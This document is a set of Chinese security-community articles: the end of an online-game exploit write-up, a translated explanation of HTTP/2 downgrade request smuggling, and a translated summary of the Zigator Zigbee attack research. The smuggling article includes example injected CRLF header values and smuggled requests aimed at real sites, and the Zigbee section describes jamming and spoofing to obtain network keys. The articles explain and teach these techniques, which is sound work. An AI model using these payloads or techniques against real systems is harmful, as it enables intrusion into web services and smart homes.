这个游戏部分任务不可以远程交接、大部分采集耗时都是服务器判断，偏偏刷经验漏洞利用到的两处服务器都没有判断，客观上让漏洞利用效率提升数百倍，另外帮派任务刷的次数有统计且客户端可实时显示，但刷到256次会次数归0，也就是服务器后台即使每天进行帮派完成次数监控也不一定能监控到。这个游戏还有其他10多个漏洞已提交官方，实现过程没有特殊之处就略过了。
## 后记
网游系统繁多，服务端的多样性决定了出现的漏洞千奇百怪，任何时候有条件好好体检是必须的，质量上做到让有经验的安全测试人员短期内难以挖掘到比较有价值的漏洞即可，其他的可交给后台监控策略或者更有意思的陷阱系统。 | 社区文章 |
# HTTP/2降级走私攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
一直关注的Black Hat USA 2021议题HTTP/2: The Sequel is Always
Worse，最近终于看到相关文档，这里记录下学习到的内容。
## 关于HTTP/2
HTTP/2标准于2015年5月以RFC
7540正式发表，基于SPDY协议。根据[W3Techs](https://w3techs.com/)的数据，截至2021年7月，全球有46.0%的网站支持了HTTP/2。
### 新特性
HTTP/2协议相对于HTTP/1.1在性能上有了很大的提升，主要具有以下新特性
1. 二进制分帧
2. 请求与响应复用
3. 服务端推送
4. 头部压缩
### 攻击点
对于这些新特性，都有相对应的攻击点。目前大多数CDN厂商都支持HTTP/2，但是很多后端服务并不支持，所以CDN需要做一个HTTP/2到HTTP/1.x的转换，对于头部压缩特性，需要进行解压，所以导致带宽放大攻击，具体可以看[HTTP协议攻击](https://www.anquanke.com/post/id/224321)。本文将主要介绍HTTP/2降级导致的走私攻击，对于其他文章中编写的隧道和其他攻击方式，有兴趣的可以查看引用获取资料。
## HTTP/2降级走私
### 产生原因
在 HTTP/1 中，每个消息主体的长度通过内容长度（Content-Length）或传输编码（Transfor-Encoding）header表示。
在 HTTP/2 中，这些header是多余的，因为使用二进制流进行传输，没有文本的概念，消息的内容都是由数据帧（Data
Frame）进行传递，每个帧中的内容的长度，是有Length进行记录的。
看似走私并不会在HTTP/2协议中发生（我之前也是这么想的），但是在HTTP/2转换为HTTP/1.x的降级过程中，就会出现新的问题。
前端服务使用HTTP/2协议，使用协议中内在的message的Length，而后端服务却使用HTTP/1.1协议，可以接收到含有CL或者TE的请求，此时就会导致出现HTTP/2协议的走私可能。
### 案例研究
#### H2.CL
以Netflix为例，发送此http/2数据
在转换成http/1.1后，内容成为了
POST /n HTTP/1.1
Host: www.netflix.com
Content-Length: 4
abcdGET /n HTTP/1.1
Host: 02.rs?x.netflix.com
Foo: bar
对于后端服务来说，这直接导致了走私漏洞，相关漏洞信息可以查看[CVE-2021-21295](https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj)。那么对于完全不需要Content-Length来进行标识请求体长度的HTTP/2协议来说，为什么会出现这个问题呢？
RFC7540编写的十分清晰，HTTP/2请求和响应可以包括Content-Length头，但是对于Content-Length的值和DATA
frame的长度不一致的情况，应该视为格式错误。而且第三段明确规定，处理 HTTP 请求或响应的中介（即任何中介不充当隧道）不得转发格式错误的请求或响应。
#### H2.TE
此漏洞发生在AWS Application Load Balance中
发送数据包为
后端服务接受到数据包为
POST /identity/XUI/ HTTP/1.1
Host: id.b2b.oath.com
Content-Length: 68
Transfer-Encoding: chunked
0
GET /oops HTTP/1.1
Host: psres.net
Content-Length: 10
x=
这种走私类型就类似于HTTP/1.1中的CL-TE。
这种漏洞的产生，也是中间件对于Transfor-Encoding的处理出现了错误导致，对于HTTP/2来说，一个TCP连接就可以完成一个客户端和服务端之间持续的数据的传送，所以对于Connection系列字段都是不需要的，所有请求与响应的标识是通过Stream
ID来进行的。
RFC7540规定，端点不得生成包含特定于连接的标头的 HTTP/2 消息
领域；任何包含特定连接头的消息必须被视为格式错误，唯一的例外是 TE 头，可以存在于 HTTP/2
请求中，但其不得包含任何“trailers”以外的取值。当然如果中间件需要处理从HTTP/1.x到HTTP/2的转换，是应该删除相关连接头，Keep-Alive, Proxy-Connection, Transfer-Encoding, and Upgrade，即使他们没有被标识为连接头字段。
#### H2.TE 通过http header值注入
即使中间件正确处理了Transfor-Encoding头，将之删除或者直接返回错误，但是依旧可以参照http/1.1的header注入，来进行走私。
在中间件验证HTTP/2数据包头部是否含有Transfor-Encoding的情况下，直接不把Transfor-Encoding作为一个完整的header字段，而是通过`r\n`注入在header中的字段值中，这样就绕过了上文RFC规定的验证。
如果通过转换，其HTTP/1.1请求为
POST / HTTP/1.1\r\n
Host: start.mozilla.org\r\n
Foo: b\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 77\r\n
\r\n
0\r\n
\r\n
GET / HTTP/1.1\r\n
Host: evil-netlify-domain\r\n
Content-Length: 5\r\n
\r\n
x=
这样依旧可以造成走私。
当然在HTTP/2中是二进制流协议，并不像HTTP/1.x需要`\r\n`来进行每一行的标识。然而当把这些可以在HTTP/1.x中作为标识的字符用在HTTP/2中，在转换过程中，就会让其发挥作用，导致安全问题。RFC也考虑到此问题
如果这些字符如CRLF，0x0，被逐一解析，可能被攻击者利用，所以规定任何请求或响应包含头字段值中不允许的字符必须被视为格式错误，当然很明显并不是多有中间件都遵守此规定。
#### H2.TE 通过header name注入
上文提到，通过在header字段中，添加`\r\n`来进行Transfor-Encoding的注入，从而绕过HTTP/2协议中不允许Transfor-Encoding字段的规定，那么可以在header name中也实现注入，这种情况就需要另外一个危险字符`:`
转换HTTP/1.1后，数据包为
GET / HTTP/1.1
foo: bar
transfer-encoding: chunked
host: ecosystem.atlassian.net
依旧可以使用Transfor-Encoding来进行走私。
#### H2.TE 通过请求行注入
如果中间件只是修复了普通Header中关于危险字符的过滤，那么对于foo或者Transfor-Encoding字段来说，并不能使用，所以作者使用伪标头来进行注入，在HTTP/2中，所有标头字段名称均为小写，请求行拆分成各个`:method`、`:scheme`、`:authority`
和 `:path` 伪标头字段，以`:method`为例
将走私请求直接注入到method中
GET / HTTP/1.1
transfer-encoding: chunked
x: x /ignored HTTP/1.1
Host: eco.atlassian.net
所以中间件对于header中危险字符的过滤，应该把所有字段都进行处理。
#### H2.X 通过请求拆分
既然可以注入`\r\n`，作者又直接将整个走私请求注入到header处，以达成攻击。
这种方式，更加简单粗暴，只要中间件在转换过程中，逐一识别危险字符`\r\n`，那么转换成的HTTP/1.1数据就为
GET / HTTP/1.1
Foo: bar
Host: ecosystem.atlassian.net
GET /robots.txt HTTP/1.1
X-Ignore: x
Host: ecosystem.atlassian.net\r\n
\r\n
这种走私，不需要使用Transfor-Encoding编码，也不需要body和POST方法。
## 总结
随着HTTP/2的普及，更多中间件开始支持HTTP/2，来提高网站的性能，无论是CDN或者WAF，未来可能都会使用HTTP/2，但是后端服务只支持HTTP/1.x的情况也会很常见，所以中间件必须将HTTP/2转换为HTTP/1.x，才能与后端服务通信，如果在实现上没有考虑很多安全问题，这种协议的降级造成的危害是致命的，无论是带宽放大，还是走私，或者缓存投毒。业务层可以尽量避免协议的降级，如果无法避免，应该在实现上，尽量按照RFC规定来进行实现，防止出现严重的安全问题。
## 引用
<https://www.blackhat.com/us-21/briefings/schedule/#http2-the-sequel-is-always-worse-22668>
<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Kettle-HTTP-The-Sequel-Is-Always-Worse.pdf>
<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Kettle-HTTP2-The-Sequel-Is-Always-Worse-wp.pdf>
<https://datatracker.ietf.org/doc/html/rfc7540> | 社区文章 |
# Zigator：分析Zigbee智能家居的安全性
|
##### 译文声明
本文是翻译文章，文章原作者 Dimitrios-Georgios Akestoridis,Madhumitha Harishankar,Michael
Weber,Patrick Tague，文章来源：wisec2020.ins.jku.at
原文地址：<https://wisec2020.ins.jku.at/proceedings/wisec20-153.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
随着用于住宅的互联网连接设备的普及，重要的是要确保它们满足适当的安全目标，因为它们通过传感器和执行器与物理世界进行交互。
Zigbee是一种无线通信协议，通常在智能家居环境中使用，它基于IEEE
802.15.4标准。在这项工作中介绍了一种称为Zigator的安全分析工具，该工具可以深入研究Zigbee网络。特别是研究了在集中Zigbee网络中禁用MAC层安全性的设计选择的安全性后果，展示了可以从被动检查Zigbee流量中获得有价值的信息，包括识别某些加密的NWK命令，然后将其用于开发选择性的干扰和欺骗攻击。攻击者可能发起这些攻击，以迫使最终用户恢复出厂设置的目标设备并最终暴露网络密钥。通过使用包含商用Zigbee设备的开源工具建立测试平台来确定攻击的日期，最后公开发布开发的软件工具和捕获的Zigbee数据包。
## 0x02 Introduction
智能家居是物联网（IoT）的一种应用，其中日常设备以传感器，执行器或两者的形式连接到互联网。这种级别的连接性使居民能够监视其设备的状态，发出命令以更改其状态以及自动执行常见任务。几个通信协议可以在智能家居中同时运行以简化此操作，这主要是因为不同的设备具有不同的要求，通常由智能集线器桥接。一些设备需要高数据速率的连接才能令人满意地工作，而其他设备则对吞吐量要求有所放宽，因此重点转移到了低功耗和低制造成本上。但是，随着智能家居设备带来的好处，它们还引发了严重的安全问题，因为它们与物理世界进行了交互。因此，违反其通信协议的安全性可能会影响居民的物理安全性。
Zigbee是IoT设备（尤其是在智能家居环境中）使用最广泛的通信协议之一。 Zigbee协议定义了IEEE
802.15.4标准的上层，以向低功耗的低成本设备提供低数据速率的无线连接。 IEEE
802.15.4标准定义了协议栈的PHY和MAC层，家庭自动化是其主要应用之一。
Zigbee联盟的运作由Zigbee联盟定义，Zigbee联盟也是一组公司，该组织还对Zigbee产品进行了认证，这些产品受到众多智能家居生态系统的支持，包括三星SmartThings和亚马逊的Echo
Plus。但是，Zigbee联盟并未将安全性决定强加给制造商。在智能家居中，Zigbee网络在很大程度上不受监控。因此，开发全面的安全分析工具对独立研究人员至关重要。
已经证明了针对Zigbee网络的几种攻击，包括设备劫持，Zigbee蠕虫，以及最近的远程代码执行。前面提到的演示大部分都限于分布式Zig
Bee网络，因为它们利用了特定于分布式安全模型的漏洞，例如：
（a）使用不安全的工厂重置命令，
（b）泄漏的加密密钥的知识根据保密协议，
（c）使用基于邻近的通信。
这些在Zigbee集中式网络中固有地不存在，其中单个设备充当信任中心的角色，该信任中心管理加密密钥并授权请求加入网络的设备。尽管建议使用集中式Zigbee网络以提高安全性，但它们受到研究界的关注较少，特别是因为Zigbee
3.0设备已经商业化，可以解决一些先前的漏洞。更严峻的挑战是，缺乏用于Zigbee网络的健壮的安全分析工具，商用Zigbee设备使用闭源软件，并且某些规范文档尚未公开。
先前包含集中式Zigbee网络的研究在很大程度上证明了来自加密流量的信息泄漏，例如触发事件的识别，而没有探索攻击者如何使用此信息来破坏集中式Zigbee的操作。网络。尽管已经针对集中Zigbee网络演示了几种命令注入攻击，但是这些攻击需要了解网络密钥。但是，攻击者获取此加密密钥的现实方法尚未得到全面探索。
在这项工作中提出了一种称为Zigator的安全分析工具，开发该工具是为了研究Zigbee网络受到被动和主动攻击的风险，由于设计选择是不使用MAC层上的安全服务。实际上，Zigbee
PRO
2015规范指出，NWK命令应禁用MAC层安全性，“因为源自NWK层的任何安全帧都应使用NWK层安全性”。表明攻击者可以从可操作的Zigbee网络推断出有价值的信息，包括每个Zigbee设备的逻辑设备类型。此外，尽管在NWK层上使用了加密，仍表明攻击者可以100％的准确性识别所有可能的NWK命令的一半。使用此信息来开发选择性的干扰和欺骗攻击，攻击者可以发起这些攻击，以便最终获得对网络密钥的访问权限。
此外建议针对Zigbee
3.0网络的调试过程增强安全性，以防止受到这种攻击。通过构建一个包含商用Zigbee设备的测试平台来验证攻击，如下图所示。公开发布Zigator，数据集以及对几种开放源代码工具的修改（<http://mews.sv.cmu.edu/research/zigator/>
）。请注意，这项工作主要集中在集中式Zigbee网络上，某些贡献也可以应用于分布式Zigbee网络。
## 0x02 Background
在本节中将简要概述Zigbee网络中的数据包格式，安全模型和逻辑设备类型。
**数据包格式：**
Zigbee网络的运行是在多个文档上定义的，但并非所有文档都可以公开获得2。没有任何安全功能的Zigbee数据包的一般格式如上图所示。Zigbee数据包的实际格式差异很大，因为使用媒体访问控制（MAC）网络中的标头字段标识了多种数据包类型（NWK）和应用程序支持（APS）层。这些数据包类型包括MAC确认，MAC信标，MAC命令，NWK命令，APS确认和APS命令。此外，APS层的有效载荷可以是Zigbee设备配置文件（ZDP）命令或可能专有的Zigbee群集库（ZCL）命令。其他标识字段用于进一步区分这些命令并确定其有效载荷的格式。
Zigbee在其NWK和APS层上为数据包提供安全服务，方法是在相应层的标头之后包含一个辅助标头，并在其有效负载之后包含一个消息完整性代码。
Zigbee使用CCM *块密码模式的安全等级3，使用AES-128算法对有效载荷进行加密并认证相应层的报头和有效载荷。
CCM
*模式通过添加仅加密的安全级别扩展了CCM模式。但是，Zigbee联盟建议不要使用此安全级别。因为它容易受到单数据包拒绝服务攻击。因此，在CCM模式下实现AES-128可以解密和验证典型的Zigbee流量。随机数包括源的64位IEEE地址，32位帧计数器和8位安全控制字段。在Zigbee网络中的所有设备之间共享的加密密钥称为网络密钥，而仅在成对的设备之间使用的加密密钥称为链接密钥。
Zigbee设备的IEEE地址称为其扩展地址，而其本地称为带符号的地址称为其短地址。最后，每个Zigbee网络都使用一个个人局域网标识符（PAN
ID），该标识符在其覆盖区域内应该是唯一的。
**安全模型：**
为了在安全性和可用性之间取得平衡，Zigbee支持两种安全性模型：分布式和集中式。分布式Zigbee网络旨在简化易用性，它由Zigbee路由器和Zigbee终端设备组成，每个Zigbee路由器都可以发布加密密钥。建议采用集中式Zigbee网络以提高安全性，并且是这项工作的主要重点，其中包括一个Zigbee协调器，通常充当信任中心的角色，以便管理加密密钥并授权请求加入网络的设备。根据安全模型的不同，不同类型的链接密钥可以保护网络密钥的传输。
**逻辑设备类型：** Zigbee协调器通常是由电源供电的设备，可以形成集中式网络，但不能加入其他网络。
Zigbee路由器通常是由电源供电的设备，可以形成分布式网络，但也可以加入其他网络。这两种逻辑设备类型都可以路由其他Zigbee设备的数据包。
Zigbee终端设备通常是电池供电的设备，无法形成集中式或分布式网络，但可以加入其他网络。
Zigbee终端设备通常在空闲时使接收器处于禁用状态，以节省能源，并依靠Zigbee协调器或Zigbee路由器来路由服务。充当Zigbee Coor
dinator的典型硬件设备是智能集线器，它可以提供对Internet和其他本地网络的访问。可以用作Zigbee路由器的硬件设备包括电源插座和灯泡，而门锁和运动传感器可以用作Zigbee终端设备。
## 0x03 Threat Model and Assumptions
与标准安全性文献保持一致，为Zigbee网络设置了以下安全性目标：
•真实性:未经授权的设备应该不能模仿授权的设备。
•可信性：设备应能够检测和拒绝被篡改的数据包。
• 保密性：未经授权的设备不应访问敏感信息。
• 可用性：需要时，网络服务应可用于设备。
假设最终用户及其设备在不故意降低Zigbee网络的安全性的意义上受到信任，而设备的物理安全性不在本工作范围之内。攻击者是局外人，可能使用比网络设备更强大的硬件，例如高增益定向天线和便携式计算机。
假设攻击者没有任何网络密钥的先验知识，但是他们知道默认的信任中心链接密钥，因为它是公开可用的。此外，考虑了攻击者访问安装代码子集的可能性。此外，假设在Zigbee网络的初始形成过程中没有攻击者。在这种情况下，只要网络中存在单个传统Zigbee设备或知道Zigbee
3.0设备的安装代码，就不会有违反上述安全目标的情况。最后，在以下各节中的讨论假定最终用户的Zigbee网络正在使用集中式安全模型。请注意，没有考虑使接收器处于空闲状态的Zigbee终端设备，低功耗路由器，绿色电源设备或启用信标的网络。尽管根据Zigbee
PRO 2015规范支持这些配置，但在撰写本文时，它们尚未在智能家居环境中广泛使用。
最终，攻击者的目标是从已经形成的Zigbee网络中获取网络密钥。当前，启用Zigbee的智能家居的安全性在很大程度上取决于其保密性。获得网络密钥访问权限的攻击者可以解密大多数加密的有效负载，并注入更改最终用户设备状态的命令，这违反了安全目标。
## 0x04 Testing Instrumentation
在测试平台中使用三种核心功能来分析可运行的Zigbee网络的安全性：（a）数据包嗅探，（b）数据包注入和（c）数据包阻塞。这些构成了开发更多复杂攻击的基础。例如，如上图所示，攻击者可以监视Zigbee流量，直到发送感兴趣的数据包以干扰其传输，然后再注入欺骗性的数据包。将在本节末尾演示这种攻击。
### （1）数据包嗅探
需要的最基本的功能是捕获Zigbee数据包的能力。使用USRP N210捕获I / Q信号并在软件中执行解调。特别是，使用带有gr-ieee802-15-4模块的GNU Radio来接收IEEE 802.15.4数据包，然后使用gr-foo模块以PCAP格式存储它们。选择使用软件无线电而不是IEEE 802.15.4 USB适配器的主要原因是，它还能够分析数据包阻塞的有效性。
使用Wireshark检查了生成的PCAP文件，如果提供了相应的加密密钥，则可以解密加密的有效载荷。但是，没有广泛使用合适的配置文件。某些标头字段对于理解通信流至关重要，而着色规则则通过出现的模式简化了检查过程。为此，开发了针对Zigbee
Traffic4量身定制的Wireshark配置配置文件。对于着色规则，决定将某些数据包类型分组。例如，对影响设备成员资格和加密密钥的命令进行了分组（例如，关联请求，重新加入请求和传输密钥命令），而数据请求具有唯一的颜色，它们提供了有价值的信息关于其发送器和接收器的逻辑设备类型。下图在Wireshark的数据包列表中展示了其中一些着色规则。
### （2）数据包注入
接下来需要的功能是注入任意数据包。 Scapy中实现了Zigbee数据包中使用的几个标头字段，这能够轻松伪造任意数据包。下图描绘了简化的GNU Radio
Companion流程图，该流程图允许使用一个天线接收和记录IEEE 802.15.4数据包，以及传输通过UDP连接与另一天线发送的伪造IEEE
802.15.4数据包。发布了用于进行本文实验的GNU Radio Companion流程图的集合。
但是，由于将数据包传输到主机然后再传输回收发器会引入延迟，因此该方法不适用于对时间要求严格的数据包的传输。结果修改了ATUSB的固件，以便从接收状态转换为发送状态并在要求的时间范围内发送伪造的数据包。例如，在2.4
GHz频带中使用IEEE 802.15.4-2011标准的O-QPSK PHY层的Zigbee设备将等待864微秒，以接收请求的MAC确认。
### （3）封包干扰
需要的第三个功能是能够干扰合法数据包传输的能力。复制了Bloessl的选择性干扰器的实现，该干扰器有选择地阻塞所有发往特定设备的数据包。但是，此实现无法充分控制干扰条件以发起攻击。为此对ATUSB固件进行了如下修改：
•每当检测到RX_START中断时，通常在收到PHY标头后9微秒发出该中断，从帧缓冲区中检索接收到的数据包的长度。
•等待32微秒，即传输单个字节所需的时间，然后从帧缓冲区6中检索下一个字节。
•重复之前的过程，直到可以确定是否满足干扰条件为止。
•如果满足干扰条件，则使用FORCE_PLL_ON命令强制从BUSY_RX状态转换为PLL_ON状态，然后通过转换为BUSY_TX状态来传输任意数据包，其长度取决于接收数据包的长度以及已处理的字节数。
•之后转换回RX_ON状态，并等待下一个RX_START中断。
在上图中提供了对干扰器行为的直观描述。请注意，实现支持为选择性干扰器定义任意干扰条件，这能够发起概念验证攻击。
上图显示了捕获的I /
Q信号的大小，以说明如何将选择性干扰与数据包注入结合起来以发起更复杂的攻击。仅对于请求MAC确认的指定网络的数据包，才满足此实验的干扰条件。为了在干扰合法数据包的传输后能够欺骗MAC确认，干扰器在收到它时会存储其MAC序列号。然后，发送干扰数据包，同时在完成合法数据包的传输之后立即发送欺骗的MAC确认。重要的是要注意，即使Zigbee设备使用安全的APS确认来保护用户命令，MAC和NWK命令仍然依赖未处理的已固化MAC确认。
## 0x05 Security Analysis with Zigator
在本节中概述Zigator，在Python中开发的用于分析Zigbee网络的安全性的软件工具。
Zigator的主要依赖项是Scapy库。具体来说，Zigator使用Scapy库的dot15d4和zigbee层来解析捕获的Zigbee数据包并伪造新的数据包进行注入。但是，在撰写本文时，最新版本的Scapy（v2.4.3）尚未实现一些标头字段和帧类型，这对于研究至关重要。因此，分叉了Scapy并为Zigator实现了这些增强功能。
PyCryptodome是Zigator大量使用的另一个库。解析加密数据包的未加密头字段后，Zigator构造数据包的现时和经过身份验证的部分，以便在CCM模式下使用AES-128对其进行解密和验证。还使用了PyCryptodome的AES-128实现来实现Matyas-Meyer-Oseas（MMO）哈希函数。由于Zigbee使用的消息摘要的长度与AES-128的块大小相同，将位串x的消息摘要Ht填充并分成t个128位块，其迭代计算为:
其中H0 = 0并且EK（·）表示由128位密钥K参数化的AES的加密函数。MMO哈希函数在Zigbee 3.0网络中用于从其安装代码中导出Zigbee
3.0设备的预配置信任中心链接密钥。此外，MMO哈希功能还用于定义Zigbee的键哈希消息身份验证代码（HMAC）得出某些受APS层保护的数据包的加密密钥，这也已在Zigator中实现。
Zigator将捕获的数据包的几乎所有可能的标头字段存储在SQLite数据库中，这种方法能够深入了解Zigbee流量的性质，因为它能够执行详细的SQL查询。
Zigator还提供了功能丰富的命令行界面，该界面使安全分析人员可以可视化其数据并发送伪造的数据包以通过UDP进行注入。另外，Zigator可以使用Scikit-learn库训练决策树分类器，以区分不同的数据包类型。随后介绍实验设置，并使用Zigator分析Zigbee网络的安全性。
## 0x06 Experimental Setup
捕获了从十个商用Zigbee设备生成的数据包，如上图所示。在一半的实验中，使用第三代SmartThings集线器（IM6001-V3P01）作为Zigbee协调器，而第二代SmartThings集线器（STH-ETH-200）用于另一半（分别见图j和i）。需要注意的是，只有前者可以使用其安装代码来调试Zigbee
3.0设备。后者使用默认的“信任中心”链接密钥来调试它们。使用的Zigbee
3.0设备是SmartThings插座（IM6001-OTP01），SmartThings运动传感器（IM6001-MTP01），SmartThings智能灯泡和Schlage
Connect Smart Deadbolt（分别见图h，c，d和a）。其余设备是旧Zigbee设备，它们在调试过程中使用默认的Trust
Center链接密钥。特别是，使用的传统Zigbee设备是Centralite 3系列智能插座，SmartThings运动传感器（F-IRM-US-2），SmartThings多功能传感器（F-MLT-US-2） ，以及Yale确保锁定触摸屏锁舌（分别见图g，b，e和f）。
为了研究NWK命令的代表性示例进行了八个实验，将其代号为H-T，其中H∈{sth2，sth3}和T∈{room，duos，house，trios}。使用H
= sth2指代使用STH-ETH-200集线器的实验，而使用H = sth3指代使用IM6001-V3P01集线器的实验。使用T =
room来指将设备放置在单个房间中的实验，而T = duos指的是Zigbee网络一次仅包含一个集线器和一个其他设备的实验。此外，T =
house是指将设备放置在三个不同房间中的实验。最后，T =
trios是指Zigbee网络一次仅由一个集线器，一个Zigbee路由器和一个其他设备组成的实验。例如，sth3室对应于使用IM6001-V3P01集线器并将所有设备都放置在单个室中的实验。
在每个实验开始之前，对设备进行了出厂重置。接下来使用SmartThings智能手机应用程序注册了中心，以初始化Zigbee网络。请注意，这两个集线器的默认配置是禁用Zigbee设备的自动固件更新，而只有STH-ETH-200集线器接受不安全的重新加入请求。USRP N210在所选通道上连续捕获IEEE
802.15.4数据包。为了收集各种各样的NWK命令，在每个实验中执行了多项操作，包括将设备添加到网络，触发传感器，向执行器发出命令，重新关联设备，关闭设备电源以及引起PAN
ID冲突。将这些动作组合起来，形成了八个实验中通用的程序。程序的详细说明包含在数据集中。下表显示了在整个实验中捕获的不同数据包类型的数量，这些数据包总共持续了约34.644小时。
## 0x07 Result
在本节中演示集中式Zigbee网络中禁用的MAC层安全性的后果。首先表明可以从可操作的Zigbee网络中推断出有价值的信息，然后将其用于开发决策树以识别加密的NWK命令。最后发起选择性的干扰和欺骗攻击，迫使最终用户将其设备之一恢复出厂设置，并最终暴露出网络密钥。
### （1）侦察攻击
攻击者可以通过记录MAC报头中不同的源地址和目标地址对来推断附近Zigbee网络的拓扑。例如，在sth2房屋实验期间，通过观察PAN
ID为0xd9b1的MAC数据包的寻址字段来生成上图。识别Zigbee协调器是微不足道的，因为它始终使用0x0000作为其简短的广告位，仅拓扑结构不足以绝对确定地确定所有设备的逻辑设备类型。
**主动识别逻辑设备类型：**
可以利用只有Zigbee路由器和Zigbee协调器响应信标请求这一事实来识别Zigbee路由器。通过注入信标请求，然后观察哪些设备响应了信标，攻击者可以识别出通信范围内的所有Zigbee路由器。回想一下Zigbee设备在MAC层上没有利用任何安全服务，这意味着攻击者可以欺骗上表中所示的任何MAC命令。要验证无响应的设备确实是Zigbee终端设备，攻击者可以欺骗孤立通知潜在的Zigbee终端设备，以便如果确实是Zigbee终端设备，则其父设备将以协调器重新排列响应。使用测试平台验证了这两种攻击，而没有观察到对网络正常运行的任何副作用。请注意，在实验过程中，即使仅旧版Zigbee终端设备发送了孤立通知，所有Zigbee路由器和Zigbee协调器都响应了协调器重新调整，无论假定的孤立设备是旧版设备还是Zigbee
3.0设备。
**匹配短地址和扩展地址：**
虽然攻击者不必假冒其他设备来注入有效的信标请求，但攻击者需要该设备的扩展地址才能成功欺骗孤立通知。但是，攻击者可以通过被动检查Zigbee流量来获取此信息。
NWK标头的寻址字段与MAC报头的寻址字段（其中短地址，扩展地址或不使用地址用于数据包的源字段和目标字段）不同。总是包含两个短地址，并且它们还可能包含相应的扩展地址。实际上，每个NWK命令都必须包括其源的扩展地址。当目标地址的扩展地址已知且未广播NWK命令时，也将包括该地址。另外，每个利用NWK层安全服务的数据包都要求在辅助报头中包含发送方的扩展地址，它将与MAC标头中源的短地址匹配。由于在Zigbee网络上禁用了MAC层安全性，因此所有这些标头字段都是未加密传输的。因此，被动攻击者只需检查MAC数据包即可将扩展地址与短地址进行匹配，反之亦然。
**被动识别逻辑设备类型：**
正如在本小节开头所描述的那样，无需注入任何数据包就可以识别Zigbee协调器。理想情况下，攻击者希望能够被动地识别Zigbee路由器和Zigbee终端设备。这将需要观察已知仅由Zig吧bee路由器或仅由Zigbee终端设备发送（或接收）的数据包。实际上，Zigbee终端设备将定期向其父设备发送数据请求，以便轮询未决的数据包。在检查数据请求时需要注意，因为Zigbee路由器在加入网络时也会使用它们;然而，在这种情况下，数据请求的源将使用其扩展地址。
关联成功后，数据请求的源将使用其短地址来轮询未决的数据包。只要数据请求的源地址是短地址，它就会在整个实验过程中由Zigbee终端设备进行传输。请注意，由于只有Zigbee路由器和Zigbee协调器是这些数据包的接收者，因此攻击者也可以使用数据请求来被动标识Zigbee路由器。但是，为了识别没有子代的Zigbee路由器，攻击者将不得不观察仅由Zigbee路由器传输的数据包。有一些MAC命令可用于此目的，但它们不会定期发送。因此，转向NWK命令（如下表所示）。实际上，Zigbee协调器和所有Zigbee路由器都在定期发送链路状态命令。即使NWK命令标识符字段是经过典型加密的，攻击者也可以通过检查其未加密的报头字段来区分链接状态命令和其他数据包。因此，被动攻击者有可能推断每个Zigbee设备的逻辑设备类型。
**识别硬件设备：**
设备的扩展地址对应于唯一的64位IEEE地址，其中包含组织标识符。由于Zigbee联盟维护着经过认证的Zigbee产品的公开注册表，因此攻击者可能会尝试使用其组织名称作为该注册表上的搜索关键字来识别从其生成观察到流量的硬件设备。另外，智能集线器供应商通常会发布受支持设备的类似列表（例如，“与SmartThings一起使用”网页），如果可以识别出智能集线器的供应商，也可以使用这些列表。通过考虑攻击者针对该设备推断出的逻辑设备类型，可以进一步缩小可能的硬件设备列表。
例如，在实验中使用的Smart Things
Outlet（IM6001-OTP01）的扩展地址为28：6d：97：00：01：09：4b：c8，其组织标识符为0x286d97，已为其分配SAMJIN
Co.，Ltd.
。在撰写本文时，在Zigbee联盟的注册表中搜索该组织会返回五种经过认证的Zigbee产品。但是，这些产品中只有一种用作Zigbee路由器，确实与设备匹配。重要的是要注意，其他组织标识符并没有得出结论性的结果，因为它们对应于片上系统（SoC）制造商，这些制造商的产品可在多种Zigbee设备中找到。
**识别旧的Zigbee设备：** 攻击者有兴趣将旧Zigbee设备与Zigbee 3.0设备区分开，尤其是在Zigbee
3.0网络中，因为前者使用默认的Trust
Center链接密钥来加入网络，这使它们成为攻击的潜在目标，如在下面的解释中所述。假设攻击者能够识别硬件设备，则经过认证的Zigbee产品注册表将提供此信息。例如，当前由SAMJIN
Co.，Ltd.认证的所有Zigbee产品都是Zig bee 3.0设备。此外，观察到在实验中，只有Zigbee
3.0设备发送了终端设备超时请求。当发送此NWK命令时，它的父级将发送一个终端设备超时响应。
但是，这对NWK命令是在Zigbee PRO 2015规范中引入的，因此一些旧式Zigbee设备不支持该命令。攻击者可以通过引起PAN
ID冲突，使Zigbee终端设备重新加入其网络，以观察哪些发送了“终端设备超时请求”，以及哪些父母以“终端设备超时响应”进行了响应。正如在以下小节中所示，即使以加密的方式传输了它们的NWK命令标识符字段，攻击者也可以100％准确地识别这些NWK命令。
### （2）NWK命令的标识
应该清楚的是，攻击者将从能够识别加密的NWK命令的过程中受益匪浅。尽管NWK帧类型字段始终是未加密的，但由于它是NWK标头的一部分，并且MAC层安全性已禁用，因此NWK命令标识符字段通常是加密的，因为它是NWK有效负载的一部分。因此，被动观察者可以区分NWK命令与其他数据包类型，但不能区分实际上是哪个NWK命令。
构造了下表，其中包含可用于加密NWK命令分类的四个功能的可能值集。有效负载长度和半径列的值基于Zigbee PRO
2015规范的要求。但是，该规范未明确说明所有NWK命令的NWK目标和源地址字段的可能类型。结果，这两列中的某些值是基于对规范的理解，进行的实验以及所做的假设。请注意，不同NWK命令之间的有效负载长度差异很大，而其中一半仅限于单跳传输。此外，请注意，某些NWK命令仅限于某些NWK目标和源类型。
由于MAC协议数据单元（MPDU）的长度包含在PHY标头中和影响其预期长度的所有标头字段均未加密传输（例如，是否存在NWK目标的扩展地址），攻击者可以在传输NWK命令时计算其有效载荷长度。半径字段（表示一个数据包可以执行多少跳）也未加密传输。请注意，即使多跳命令的Radius字段可以达到1的值，仍然可以通过比较MAC和NWK标头中的寻址字段来确定数据包是否已遍历网络，还是将它们与单跳命令区分开来。不。
NWK目标和源类型可以使用第7.1节中介绍的方法进行推断。仅使用这些功能，就可以构建一个决策树，以100％的精度识别12条可能的NWK命令中的6条。其余的NWK命令可能到达不纯的叶节点，该叶节点代表两种或三种可能的标识。
